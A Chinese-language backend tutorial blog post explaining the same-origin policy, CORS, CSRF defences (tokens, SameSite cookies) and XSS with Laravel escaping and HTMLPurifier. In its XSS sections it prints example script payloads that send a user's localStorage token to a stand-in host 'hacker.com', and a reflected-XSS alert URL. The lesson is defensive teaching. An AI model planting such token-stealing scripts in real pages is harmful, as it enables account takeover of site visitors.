Skip to main content

Command Palette

Search for a command to run...

Lesson 13: 前後端分離的痛-CORS 跨域問題、 CSRF 防護機制與XSS跨腳本攻擊

Updated
4 min read
B

一個很忙的工程師,比起寫code更喜歡股票,QQQ買起來,謝謝!

前後端分離是近幾年非常熱門的架構概念,其實早在十多年前就已被提出。 在早期的實務中,前後端分離常搭配 SPA 與 CSR(Client-Side Rendering)實作,但在當時的搜尋引擎環境下,CSR 對 SEO 並不友善。

原因在於 CSR 的頁面在初始請求時只回傳空的 HTML 殼,實際內容與 meta 資訊需等 JavaScript 在瀏覽器端執行後才生成;而以前搜尋引擎爬蟲並不會執行 JavaScript(現在google有針對爬蟲做出調整,但執行時機、資源配額與錯誤容忍度仍不保證即時與完整),導致頁面內容無法被正確索引。

為了解決這個問題,SSR(Server-Side Rendering)或預渲染逐漸成為主流做法,透過在 Server 端直接產生完整 HTML,使搜尋引擎在第一次請求時就能取得頁面內容與 SEO 相關資訊。

雖然後來有了 SSR(Server-Side Rendering)與 Nuxt/Next.js 等解決方案,但在架構上,前端(Frontend)與後端(Backend)部署在不同網域(Domain)已成常態。

這時候,後端工程師會發現:明明 Postman 測都沒問題,為什麼前端一呼叫 API 就全紅字?

這是因為 Postman 不受瀏覽器同源政策限制,真正受到 CORS 約束的,只有瀏覽器本身。

這就是我們今天要解決的兩大門神:CORS 與 CSRF。

同源政策

在講 CORS 之前,必須先理解「同源政策」。

  • 什麼是「同源」? 協議(Protocol)、網域(Domain)、埠號(Port)三者皆相同。

    • http://localhost:3000 (前端) vs http://localhost:8000 (後端) -> 不同源 (Port 不同)

    • https://api.example.com vs https://www.example.com -> 不同源 (Subdomain 不同)

  • 為什麼要擋? 為了防止惡意網站的 JavaScript 存取另一個來源的回應內容或敏感狀態。

CORS

CORS (Cross-Origin Resource Sharing):跨域資源共享

CORS 是一種機制,它允許瀏覽器向跨源伺服器,發出 XMLHttpRequestFetch 請求。簡單來說,就是後端發放「通行證」給前端

重點觀念:

  • 簡單請求 (Simple Request): 不會觸發 Preflight。條件嚴格(只能是 GET/HEAD/POST,且 Header 有限制)。

  • 預檢請求 (Preflight Request): 這是新手最常困惑的「為什麼我的 API 被呼叫了兩次?」。

    • 當請求包含自定義 Header(如 Authorization: Bearer ...)或方法是 PUTDELETE 時。

    • 瀏覽器會先發送一個 OPTIONS 方法的請求,詢問後端:「你允許我帶這些 Header 嗎?你允許這個 Domain 嗎?」

    • 後端回傳 HTTP 200 OK 且帶有允許的 Header 後,瀏覽器才會發送真正的 API 請求。

後端如何處理?

  • 資安警語: 千萬不要為了方便在正式環境設定 Access-Control-Allow-Origin: *,這等於門戶大開。
💡
瀏覽器 CORS 規範:如果今天前端攜帶 withCredentials: true,這代表 瀏覽器會 攜帶 Cookie或HTTP Authentication 或 TLS client certificate,如果這時候後端又回 Header又回Access-Control-Allow-Origin: *,這時候瀏覽器層級就會直接拒絕。
💡
Laravel 內建 config/cors.php,只需設定 allowed_origins 和 allowed_methods。在實務中,若使用 Cookie-based Auth,還需特別注意 supports_credentials 與allowed_headers 的設定,否則即使 Origin 正確,仍可能在 Preflight 階段被瀏覽器拒絕。

CSRF

CORS 是為了防止「別人讀你的資料」,而 CSRF 是為了防止「別人用你的身份做事」。

CSRF 全名是 Cross-Site Request Forgery。

攻擊手法

  1. 你還沒登出銀行,接著手滑點開了一個惡意網站 evil.com

  2. evil.com 的頁面裡藏了一段程式碼 (例如一個隱藏的 Form 表單),自動向 bank.com/transfer (轉帳 API) 發送一個 POST 請求。

  3. 關鍵時刻來了:瀏覽器準備發送這個請求給 bank.com

    • 瀏覽器檢查 Cookie 規則:這個請求的目標是 bank.com 嗎? 是!

    • 瀏覽器檢查 Domain 設定:Cookie 的 Domain 是 bank.com 嗎? 是!

  4. 結果:瀏覽器乖乖地把 Session Cookie 帶上了

  5. 銀行 Server 收到請求,看到合法的 Session ID,以為是你本人操作的,於是轉帳成功。錢被盜走了。

問題點:Domain 屬性只檢查「目標」是不是銀行,它不管你這個請求是從「銀行首頁」按的,還是從「惡意網站」按的。只要目標對,它就給過。

小結

在傳統 MVC 時代(例如 Laravel Blade),我們很習慣在表單裡加 @csrf。但在前後端分離的架構下,情況變複雜了:

  • 如果你的 API 使用 Authorization: Bearer <token>

    • 通常存在 LocalStorage / SessionStorage。

    • 結論: 在不使用 Cookie 的前提下,瀏覽器無法自動附帶 Token,因此不構成傳統意義上的 CSRF 攻擊面。因為瀏覽器不會自動把 LocalStorage 的東西帶進 Request Header,惡意網站拿不到你的 Token,也沒辦法讓瀏覽器幫你帶,但這也是會遇到XSS攻擊。

  • 如果你的 API 使用 Cookie (HttpOnly) 來存 Token:

    • 很多為了防範 XSS 的架構會選擇把 Token 存在 HttpOnly Cookie。

    • 結論: 必須防禦 CSRF。因為這又回到了瀏覽器自動帶 Cookie 的老問題。

防範手法

傳統防禦:CSRF Token (Synchronizer Token Pattern)

這是 Laravel Blade 預設的作法。

  1. 後端生成一個隨機字串(Token),放在 User 的 Session 中,並傳給前端(通常放在 <meta> 或 Cookie)。

  2. 前端發送請求(POST/PUT/DELETE)時,必須手動在 Header 或 Body 帶上這個 Token。

  3. 後端檢查:Request 帶來的 Token == Session 裡的 Token

    • 惡意網站雖然能發送請求(帶 Cookie),但它讀不到你網站的 Token,所以偽造的請求會因為缺少 Token 被後端拒絕。

還記得Lesson 9 提到的Cookie SameSite嗎?這是近年來最重要的更新,Google Chrome 預設已將 Cookie 的 SameSite 設為 Lax。這是在 Cookie 層級直接阻斷 CSRF。

屬性值行為適用場景
Strict完全禁止跨站帶 Cookie。即使你從 A 站點擊連結到 B 站,B 站的 Cookie 也不會帶上。銀行、極高安全性後台。但使用者體驗較差(點連結過去變成未登入)。
Lax (預設)允許「導航到目標網址」(如 <a> 連結、window.location)帶 Cookie,但禁止像圖片加載、XHR/Fetch、Form POST 這種跨站請求帶 Cookie。絕大多數的一般網站。能防禦大部分 CSRF。
None舊時代行為,完全不擋。必須搭配 Secure (HTTPS) 才能設定。需要跨網域追蹤或特殊架構(如 iframe 嵌入)時才用。

同樣的場景,但這次 Cookie 多了一個屬性:

  • session_id=12345

  • Domain=bank.com

  • SameSite=Strict (代表只有「在銀行網站內」的操作才能帶 Cookie)

攻擊流程:

  1. 你在 evil.com,惡意程式碼再次嘗試向 bank.com/transfer 發送請求。

  2. 關鍵時刻來了

    • 瀏覽器檢查 Domain:目標是 bank.com,符合。

    • 瀏覽器檢查 SameSite:這個請求是從哪裡發起的?是 evil.com

    • 瀏覽器判斷:evil.com 跟 Cookie 的擁有者 bank.com 不同站 (Cross-Site)

  3. 結果:因為 SameSite=Strict,瀏覽器拒絕攜帶這個 Cookie。

  4. 銀行 Server 收到一個「沒有 Cookie」的請求,判定未登入,拒絕轉帳。


  • Cookie:是大樓的 「門禁卡」。

  • Domain (bank.com):這張卡設定成 「只能刷銀行大樓的門」 (去刷旁邊超商的門沒反應)。

  • 沒有 SameSite:歹徒在路邊拿刀抵著你 (惡意網站),強迫你去刷銀行大樓的門。因為卡片是對的、門也是對的,門就開了。歹徒得逞。

  • 有 SameSite:門禁系統升級,它不只看卡片,還看 「你從哪裡走過來的」。如果系統發現你是從「歹徒巢穴 (evil.com)」直接衝過來刷卡的,系統就會鎖死不讓你刷。你必須是從「銀行大廳 (同站)」走過來的才有效


關於XSS

Cross-Site Scripting(為了不跟 CSS 搞混,所以縮寫叫 XSS)。 駭客把「惡意的 JavaScript 程式碼」當作「一般文字內容」塞進你的網頁,當其他使用者瀏覽該頁面時,這段程式碼就會在使用者的瀏覽器上執行。 這是「信任」的問題。瀏覽器太信任伺服器回傳的內容,以為那只是普通的文字,殊不知裡面藏了刀。

這是最容易理解的 儲存型 XSS (Stored XSS) 案例:

  1. 駭客留言: 駭客在你的文章下留言,內容不是「好棒棒」,而是:HTML

     <script>
       // 把使用者的 localstorage 傳送到駭客的伺服器
       fetch('<https://hacker.com/steal?token=>' + localStorage.getItem('access_token'));
     </script>
    
  2. 後端儲存: 如果後端(Rookie 工程師)沒有做任何清洗,直接把這串字存進資料庫。

  3. 受害者瀏覽: 當一般使用者(甚至管理者)打開這篇文章時,後端把資料庫的內容原封不動吐給前端顯示。

  4. 腳本執行: 受害者的瀏覽器讀到 <script> 標籤,立刻執行。受害者的 身份資料 瞬間被傳送給駭客。

  5. 帳號被盜: 駭客拿到 Session ID 或 Token,直接複製貼上,登入受害者帳號。

XSS 的兩大分類

類型儲存型 (Stored)反射型 (Reflected)
原理惡意腳本被存入資料庫,永久有效。惡意腳本藏在 URL 參數中,騙你點擊。
範例留言板、個人自我介紹、論壇貼文。搜尋結果頁:search.php?q=<script>alert(1)</script>
危害極大。所有瀏覽該頁面的人都會中招。針對性。只有點擊該惡意連結的人會中招。

後端如何防禦

輸出編碼 (Output Encoding / Escaping)

永遠假設資料庫裡的資料是髒的。在輸出到 HTML 之前,把特殊符號轉義。

  • < 變成 &lt;

  • > 變成 &gt;

  • " 變成 &quot;

Laravel 的做法:

  • 安全: 使用 {{ $message }}。Laravel 的 Blade 引擎會自動呼叫 htmlspecialchars 函式進行轉義。瀏覽器會把 <script> 當作純文字顯示,而不會執行。

  • 危險: 使用 {!! $message !!}。這告訴 Laravel:「我知道我在幹嘛,請直接輸出 HTML」。除非你確定內容絕對安全,否則嚴禁使用

輸入過濾 (Input Sanitization)

如果你真的允許使用者輸入 HTML(例如使用 CKEditor),你就不能全擋。這時需要用白名單機制過濾。

  • 工具: 使用如 HTMLPurifier 這樣的套件,只允許 <b>, <p>, <img> 等安全標籤,把 <script>, <iframe>, onclick 屬性全部洗掉。

補充

核心觀念對照表

攻擊情境演練

情境 A:存在 LocalStorage (怕 XSS)

  • 攻擊方式: 駭客在你的網站留言版寫了一段 <script>fetch('<http://hacker.com?token='+localStorage.getItem('token>'))</script>

  • 結果: 當其他使用者瀏覽到這則留言,腳本執行,Token 直接被傳送到駭客伺服器。駭客拿到 Token 後,可以隨時隨地偽裝成該使用者,直到 Token 過期。

情境 B:存在 HttpOnly Cookie (怕 CSRF)

  • 攻擊方式: 同樣的 XSS 攻擊腳本。

  • 結果: 腳本執行 document.cookie,但因為有 HttpOnly 標籤,JavaScript 讀不到 Token,回傳空值。駭客偷不到 Token。

從Rookie到Junior,一個後端成長的30堂課

Part 16 of 31

“從 Rookie 到 Junior:一個後端成長的 30 堂課” 是一套專為後端新手所設計的成長型技術系列文章。內容以實務為導向,逐步拆解後端工程的核心能力,包括程式語言基礎、架構思維、框架運作原理、業務邏輯設計、資料庫操作、以及常見的開發模式。 本系列的目標是協助讀者從零散的學習堆疊,建立成體系的後端知識框架。讀者能夠理解各語言背後不變的工程思維與設計原則。這套內容旨在讓學習者從「會寫程式」進入「能理解系統設計」的階段,逐步具備勝任 Junior Backend Engineer 的能力。

Up next

Lesson 12: 隱形的翻譯官-Middleware 中介層的應用場景

想像今天要進入一個戒備森嚴的皇宮(核心商業邏輯 Controller/Service): 大門警衛:檢查你有沒有通行證(Authentication)。 安檢人員:檢查你有沒有攜帶危險物品(Input Validation/Sanitization)。 禮儀官:看你是哪國人,幫你掛上對應語言的翻譯機(Localization)。 記錄員:記下幾點幾分誰進去了(Logging)。 這四個角色,就是 Middleware。它們不負責「處理皇宮內的政務」(那是 Controller 的事)...

More from this blog

Lesson 26 : 系統韌性的守護者-限流、熔斷與背壓的設計模式

當這幾個名詞出現後,代表我們進到了一個高併發/大流量的系統了。在這個章節中,我們一起來看看如何透過一些方式來避免高併發導致我們的系統crash掉。 限流(Rate Limiting) 相信大家對這個名詞並不陌生,限流其實就是字面上的含意,限制流量。 限流的目的是保護「接收方」,確保系統不會因為瞬間的高併發請求而癱瘓。 限流通常發生在 API Gateway 或服務的最前端。它像是一個夜店門口的保全

Mar 26, 20262 min read

Lesson 25: 淺談 單體架構、微服務架構與單/多租戶架構

過去我們討論了 要把程式寫在哪、程式要怎麼拆的題目,接下來我們來看看「如何服務不同客戶」,這些架構反映了軟體開發在擴充性與複雜度之間的權衡。 軟體架構深度解析:從系統拆分到商業規模化 在軟體工程的演進中,架構的選擇往往是在「開發效率」、「系統擴充性」與「營運成本」之間尋求平衡。我們可以從兩個核心維度來觀察這些架構:系統如何運行(單體 vs. 分散式) 以及 如何服務客戶(單租戶 vs. 多租戶)。

Mar 26, 20262 min read

Lesson 24: 資料庫擴展術-讀寫分離、複寫機制與快取一致性挑戰

為什麼要讀寫分離? 大多數的 Web 應用都是 「讀多寫少」(例如:看文的人多,發文的人少,Heavy Read System)。當所有的請求都塞給同一台資料庫時,磁碟 I/O 和連線數會成為瓶頸。 Master (主庫): 負責寫入 (Insert/Update/Delete),確保數據一致性。 Slave (從庫): 負責讀取 (Select),可以有多個從庫來分擔讀取壓力。 為什麼讀

Mar 25, 20262 min read

面試經驗談 2025-2026

從2025年3月開始,我陸陸續續參與了從新創到上市櫃公司的Senior - Tech Lead的相關面試,其中有不乏 尊重面試者、展現高度專業的企業(公司),當然也有遇到幾場面試鬼故事,這篇文章主要分享我對於軟體工程師面試的方向分享,以及部分鬼故事,以此警惕自己不要成為這樣的面試官。 AI的洪流,改變了SWE的生態 LLM的發展確確實實的影響到了軟體工程師的生態。 過去受限於算力與資料規模,深度學

Mar 23, 20262 min read

Lesson 23: 系統的緩衝區-Queue 佇列與非同步處理 (Asynchronous)

佇列 佇列的實作工具非常多,舉凡AWS SQS、RabbitMQ、Kafka…等。 佇列的特性,其實是一個非常強大的系統緩衝區,應用層面非常廣。 什麼是佇列? 佇列可以想像成,在既有流程中外,有另一個”水管”,來連接原有的資料流(或邏輯過程),其中 呼叫方將資料 推(Push)到水管中,接受方(監聽) 從水管中將資料拉(Pull)出處理 為什麼佇列是「強大的緩衝區」? 在同步處理中,系統像是一

Mar 23, 20262 min read

Bennett's Tech Blog | 後端架構、系統設計

32 posts

來自台灣的軟體工程師,相信軟體可以改變世界